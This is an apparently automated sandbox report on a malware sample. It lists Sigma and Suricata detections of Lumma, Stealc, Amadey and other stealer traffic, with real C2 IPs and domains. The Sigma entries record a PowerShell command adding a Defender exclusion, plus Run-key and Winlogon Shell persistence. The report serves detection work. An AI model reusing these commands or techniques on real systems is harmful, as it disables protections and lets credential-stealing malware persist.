Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6828, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\376a884392.exe

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Bridgecontainerserver\BrokerhostNet.exe", EventID: 13, EventType: SetValue, Image: C:\Bridgecontainerserver\BrokerhostNet.exe, ProcessId: 4632, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Bridgecontainerserver/BrokerhostNet.exe", ParentImage: C:\Bridgecontainerserver\BrokerhostNet.exe, ParentProcessId: 4632, ParentProcessName: BrokerhostNet.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.cmdline", ProcessId: 520, ProcessName: csc.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Bridgecontainerserver\VBxKsR3W5qREBSxxvIt5VpzoFdFFANtbsRk6NDfKSHeOxN7UsJds5Ck.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Bridgecontainerserver\VBxKsR3W5qREBSxxvIt5VpzoFdFFANtbsRk6NDfKSHeOxN7UsJds5Ck.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe, ParentProcessId: 1196, ParentProcessName: muNJF0r.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Bridgecontainerserver\VBxKsR3W5qREBSxxvIt5VpzoFdFFANtbsRk6NDfKSHeOxN7UsJds5Ck.vbe" , ProcessId: 4152, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Bridgecontainerserver\BrokerhostNet.exe, ProcessId: 4632, TargetFilename: C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Bridgecontainerserver/BrokerhostNet.exe", ParentImage: C:\Bridgecontainerserver\BrokerhostNet.exe, ParentProcessId: 4632, ParentProcessName: BrokerhostNet.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe', ProcessId: 5476, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4820, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Bridgecontainerserver/BrokerhostNet.exe", ParentImage: C:\Bridgecontainerserver\BrokerhostNet.exe, ParentProcessId: 4632, ParentProcessName: BrokerhostNet.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.cmdline", ProcessId: 520, ProcessName: csc.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:28.135103+0100	2028371	3	Unknown Traffic	192.168.2.8	49741	172.67.177.250	443	TCP
2024-12-16T13:16:30.090844+0100	2028371	3	Unknown Traffic	192.168.2.8	49748	172.67.177.250	443	TCP
2024-12-16T13:16:35.930513+0100	2028371	3	Unknown Traffic	192.168.2.8	49763	172.67.164.37	443	TCP
2024-12-16T13:16:37.929474+0100	2028371	3	Unknown Traffic	192.168.2.8	49771	172.67.164.37	443	TCP
2024-12-16T13:16:40.852568+0100	2028371	3	Unknown Traffic	192.168.2.8	49778	172.67.164.37	443	TCP
2024-12-16T13:16:43.209119+0100	2028371	3	Unknown Traffic	192.168.2.8	49784	172.67.164.37	443	TCP
2024-12-16T13:16:46.151731+0100	2028371	3	Unknown Traffic	192.168.2.8	49797	172.67.164.37	443	TCP
2024-12-16T13:16:49.521567+0100	2028371	3	Unknown Traffic	192.168.2.8	49804	172.67.164.37	443	TCP
2024-12-16T13:16:53.164894+0100	2028371	3	Unknown Traffic	192.168.2.8	49815	172.67.164.37	443	TCP
2024-12-16T13:16:53.749678+0100	2028371	3	Unknown Traffic	192.168.2.8	49817	172.67.164.37	443	TCP
2024-12-16T13:16:56.682790+0100	2028371	3	Unknown Traffic	192.168.2.8	49823	172.67.164.37	443	TCP
2024-12-16T13:16:58.254373+0100	2028371	3	Unknown Traffic	192.168.2.8	49840	172.67.164.37	443	TCP
2024-12-16T13:17:15.487822+0100	2028371	3	Unknown Traffic	192.168.2.8	49908	172.67.164.37	443	TCP
2024-12-16T13:17:19.903779+0100	2028371	3	Unknown Traffic	192.168.2.8	49939	172.67.164.37	443	TCP
2024-12-16T13:17:28.121467+0100	2028371	3	Unknown Traffic	192.168.2.8	49969	172.67.164.37	443	TCP
2024-12-16T13:17:28.901586+0100	2028371	3	Unknown Traffic	192.168.2.8	49974	104.102.49.254	443	TCP
2024-12-16T13:17:34.440730+0100	2028371	3	Unknown Traffic	192.168.2.8	49991	172.67.164.37	443	TCP
2024-12-16T13:17:38.084663+0100	2028371	3	Unknown Traffic	192.168.2.8	50006	172.67.164.37	443	TCP
2024-12-16T13:17:42.272868+0100	2028371	3	Unknown Traffic	192.168.2.8	50038	172.67.164.37	443	TCP
2024-12-16T13:22:46.765853+0100	2028371	3	Unknown Traffic	192.168.2.8	50744	104.21.50.161	443	TCP
2024-12-16T13:22:48.796552+0100	2028371	3	Unknown Traffic	192.168.2.8	50747	104.21.50.161	443	TCP
2024-12-16T13:22:52.913946+0100	2028371	3	Unknown Traffic	192.168.2.8	50755	104.21.50.161	443	TCP
2024-12-16T13:22:55.325418+0100	2028371	3	Unknown Traffic	192.168.2.8	50759	104.21.50.161	443	TCP
2024-12-16T13:22:58.628452+0100	2028371	3	Unknown Traffic	192.168.2.8	50764	104.21.50.161	443	TCP
2024-12-16T13:23:02.139855+0100	2028371	3	Unknown Traffic	192.168.2.8	50769	104.21.50.161	443	TCP
2024-12-16T13:23:05.626825+0100	2028371	3	Unknown Traffic	192.168.2.8	50774	104.21.50.161	443	TCP
2024-12-16T13:23:08.934220+0100	2028371	3	Unknown Traffic	192.168.2.8	50778	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:28.847446+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49741	172.67.177.250	443	TCP
2024-12-16T13:16:36.708557+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49763	172.67.164.37	443	TCP
2024-12-16T13:16:39.194441+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49771	172.67.164.37	443	TCP
2024-12-16T13:16:55.066024+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49817	172.67.164.37	443	TCP
2024-12-16T13:16:57.547433+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49823	172.67.164.37	443	TCP
2024-12-16T13:16:59.264327+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49840	172.67.164.37	443	TCP
2024-12-16T13:17:42.973922+0100	2054653	1	A Network Trojan was detected	192.168.2.8	50038	172.67.164.37	443	TCP
2024-12-16T13:22:47.498653+0100	2054653	1	A Network Trojan was detected	192.168.2.8	50744	104.21.50.161	443	TCP
2024-12-16T13:22:51.307021+0100	2054653	1	A Network Trojan was detected	192.168.2.8	50747	104.21.50.161	443	TCP
2024-12-16T13:23:10.174429+0100	2054653	1	A Network Trojan was detected	192.168.2.8	50778	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:28.847446+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49741	172.67.177.250	443	TCP
2024-12-16T13:16:36.708557+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49763	172.67.164.37	443	TCP
2024-12-16T13:16:55.066024+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49817	172.67.164.37	443	TCP
2024-12-16T13:22:47.498653+0100	2049836	1	A Network Trojan was detected	192.168.2.8	50744	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:39.194441+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49771	172.67.164.37	443	TCP
2024-12-16T13:16:57.547433+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49823	172.67.164.37	443	TCP
2024-12-16T13:22:51.307021+0100	2049812	1	A Network Trojan was detected	192.168.2.8	50747	104.21.50.161	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:35.930513+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49763	172.67.164.37	443	TCP
2024-12-16T13:16:37.929474+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49771	172.67.164.37	443	TCP
2024-12-16T13:16:40.852568+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49778	172.67.164.37	443	TCP
2024-12-16T13:16:43.209119+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49784	172.67.164.37	443	TCP
2024-12-16T13:16:46.151731+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49797	172.67.164.37	443	TCP
2024-12-16T13:16:49.521567+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49804	172.67.164.37	443	TCP
2024-12-16T13:16:53.164894+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49815	172.67.164.37	443	TCP
2024-12-16T13:16:53.749678+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49817	172.67.164.37	443	TCP
2024-12-16T13:16:56.682790+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49823	172.67.164.37	443	TCP
2024-12-16T13:16:58.254373+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49840	172.67.164.37	443	TCP
2024-12-16T13:17:15.487822+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49908	172.67.164.37	443	TCP
2024-12-16T13:17:19.903779+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49939	172.67.164.37	443	TCP
2024-12-16T13:17:28.121467+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49969	172.67.164.37	443	TCP
2024-12-16T13:17:34.440730+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	49991	172.67.164.37	443	TCP
2024-12-16T13:17:38.084663+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50006	172.67.164.37	443	TCP
2024-12-16T13:17:42.272868+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50038	172.67.164.37	443	TCP
2024-12-16T13:22:46.765853+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50744	104.21.50.161	443	TCP
2024-12-16T13:22:48.796552+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50747	104.21.50.161	443	TCP
2024-12-16T13:22:52.913946+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50755	104.21.50.161	443	TCP
2024-12-16T13:22:55.325418+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50759	104.21.50.161	443	TCP
2024-12-16T13:22:58.628452+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50764	104.21.50.161	443	TCP
2024-12-16T13:23:02.139855+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50769	104.21.50.161	443	TCP
2024-12-16T13:23:05.626825+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50774	104.21.50.161	443	TCP
2024-12-16T13:23:08.934220+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.8	50778	104.21.50.161	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:17:01.501742+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	49850	185.215.113.16	80	TCP
2024-12-16T13:17:44.462956+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	50056	185.215.113.16	80	TCP
2024-12-16T13:23:11.651780+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	50783	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:19.523543+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49718	185.215.113.43	80	TCP
2024-12-16T13:16:27.773586+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49740	185.215.113.43	80	TCP
2024-12-16T13:16:36.252791+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49764	185.215.113.43	80	TCP
2024-12-16T13:16:44.901779+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49789	185.215.113.43	80	TCP
2024-12-16T13:16:52.338159+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49809	185.215.113.43	80	TCP
2024-12-16T13:17:02.730138+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49859	185.215.113.43	80	TCP
2024-12-16T13:17:16.828255+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49911	185.215.113.43	80	TCP
2024-12-16T13:17:23.730493+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49950	185.215.113.43	80	TCP
2024-12-16T13:17:36.846099+0100	2044696	1	A Network Trojan was detected	192.168.2.8	49999	185.215.113.43	80	TCP
2024-12-16T13:17:49.344939+0100	2044696	1	A Network Trojan was detected	192.168.2.8	50077	185.215.113.43	80	TCP
2024-12-16T13:22:48.258832+0100	2044696	1	A Network Trojan was detected	192.168.2.8	50746	185.215.113.43	80	TCP
2024-12-16T13:22:53.410502+0100	2044696	1	A Network Trojan was detected	192.168.2.8	50756	185.215.113.43	80	TCP
2024-12-16T13:22:58.568219+0100	2044696	1	A Network Trojan was detected	192.168.2.8	50763	185.215.113.43	80	TCP
2024-12-16T13:23:03.845614+0100	2044696	1	A Network Trojan was detected	192.168.2.8	50770	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:18:06.742057+0100	2054350	1	A Network Trojan was detected	192.168.2.8	50151	141.8.192.141	80	TCP
2024-12-16T13:18:08.404197+0100	2054350	1	A Network Trojan was detected	192.168.2.8	50167	141.8.192.141	80	TCP
2024-12-16T13:21:34.085237+0100	2054350	1	A Network Trojan was detected	192.168.2.8	50640	141.8.192.141	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:17:26.372272+0100	2057973	1	Domain Observed Used for C2 Detected	192.168.2.8	50643	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:17:26.601969+0100	2057975	1	Domain Observed Used for C2 Detected	192.168.2.8	55292	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:17:25.694855+0100	2057979	1	Domain Observed Used for C2 Detected	192.168.2.8	61766	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:17:25.924800+0100	2057977	1	Domain Observed Used for C2 Detected	192.168.2.8	60673	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:17:27.065349+0100	2057969	1	Domain Observed Used for C2 Detected	192.168.2.8	50824	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:17:26.837003+0100	2057971	1	Domain Observed Used for C2 Detected	192.168.2.8	62268	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:17:25.174799+0100	2057983	1	Domain Observed Used for C2 Detected	192.168.2.8	59370	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:34.345291+0100	2058230	1	Domain Observed Used for C2 Detected	192.168.2.8	49344	1.1.1.1	53	UDP
2024-12-16T13:22:45.402539+0100	2058230	1	Domain Observed Used for C2 Detected	192.168.2.8	58525	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:17:25.472052+0100	2057981	1	Domain Observed Used for C2 Detected	192.168.2.8	51095	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:47.604902+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49795	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:47.285620+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.8	49795	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:47.926839+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.8	49795	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:49.822233+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.8	49795	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:48.267899+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49795	TCP
2024-12-16T13:17:58.743800+0100	2044247	1	Malware Command and Control Activity Detected	116.203.12.114	443	192.168.2.8	50110	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:18:01.114401+0100	2051831	1	Malware Command and Control Activity Detected	116.203.12.114	443	192.168.2.8	50119	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:17:56.457737+0100	2049087	1	A Network Trojan was detected	192.168.2.8	50102	116.203.12.114	443	TCP

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:17:04.092174+0100	2048095	1	A Network Trojan was detected	192.168.2.8	49860	172.67.220.198	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:50.568846+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49804	172.67.164.37	443	TCP
2024-12-16T13:17:20.973911+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49939	172.67.164.37	443	TCP
2024-12-16T13:23:04.082874+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	50769	104.21.50.161	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:46.844130+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49795	185.215.113.206	80	TCP
2024-12-16T13:17:58.132242+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	50109	185.215.113.206	80	TCP
2024-12-16T13:18:01.606716+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	50125	185.215.113.206	80	TCP
2024-12-16T13:18:08.755533+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	50158	185.215.113.206	80	TCP
2024-12-16T13:22:52.878430+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	50753	185.215.113.206	80	TCP
2024-12-16T13:23:20.508871+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	50809	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:07.529545+0100	2856147	1	A Network Trojan was detected	192.168.2.8	49709	185.215.113.43	80	TCP
2024-12-16T13:21:57.493050+0100	2856147	1	A Network Trojan was detected	192.168.2.8	50676	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:18.190352+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	49710	TCP
2024-12-16T13:17:44.695890+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	50046	TCP
2024-12-16T13:22:46.891463+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	50736	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:11.990495+0100	2803305	3	Unknown Traffic	192.168.2.8	49711	31.41.244.11	80	TCP
2024-12-16T13:16:20.968229+0100	2803305	3	Unknown Traffic	192.168.2.8	49724	31.41.244.11	80	TCP
2024-12-16T13:16:29.241284+0100	2803305	3	Unknown Traffic	192.168.2.8	49746	185.215.113.16	80	TCP
2024-12-16T13:16:37.722962+0100	2803305	3	Unknown Traffic	192.168.2.8	49770	185.215.113.16	80	TCP
2024-12-16T13:16:46.364165+0100	2803305	3	Unknown Traffic	192.168.2.8	49794	185.215.113.16	80	TCP
2024-12-16T13:16:53.801005+0100	2803305	3	Unknown Traffic	192.168.2.8	49816	185.215.113.16	80	TCP
2024-12-16T13:17:04.892713+0100	2803305	3	Unknown Traffic	192.168.2.8	49862	31.41.244.11	80	TCP
2024-12-16T13:17:18.310754+0100	2803305	3	Unknown Traffic	192.168.2.8	49924	31.41.244.11	80	TCP
2024-12-16T13:17:25.248513+0100	2803305	3	Unknown Traffic	192.168.2.8	49957	31.41.244.11	80	TCP
2024-12-16T13:17:44.570473+0100	2803305	3	Unknown Traffic	192.168.2.8	50057	31.41.244.11	80	TCP
2024-12-16T13:17:50.822488+0100	2803305	3	Unknown Traffic	192.168.2.8	50085	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:16:51.341421+0100	2803304	3	Unknown Traffic	192.168.2.8	49795	185.215.113.206	80	TCP
2024-12-16T13:17:31.578843+0100	2803304	3	Unknown Traffic	192.168.2.8	49968	185.215.113.206	80	TCP
2024-12-16T13:17:33.508830+0100	2803304	3	Unknown Traffic	192.168.2.8	49968	185.215.113.206	80	TCP
2024-12-16T13:17:34.823909+0100	2803304	3	Unknown Traffic	192.168.2.8	49968	185.215.113.206	80	TCP
2024-12-16T13:17:35.953762+0100	2803304	3	Unknown Traffic	192.168.2.8	49968	185.215.113.206	80	TCP
2024-12-16T13:17:39.678119+0100	2803304	3	Unknown Traffic	192.168.2.8	49968	185.215.113.206	80	TCP
2024-12-16T13:17:41.549639+0100	2803304	3	Unknown Traffic	192.168.2.8	49968	185.215.113.206	80	TCP
2024-12-16T13:17:47.965160+0100	2803304	3	Unknown Traffic	192.168.2.8	50073	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:23:05.631225+0100	2843864	1	A Network Trojan was detected	192.168.2.8	50774	104.21.50.161	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T13:17:30.271992+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.8	49974	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Avira: detection malicious, Label: HEUR/AGEN.1357628
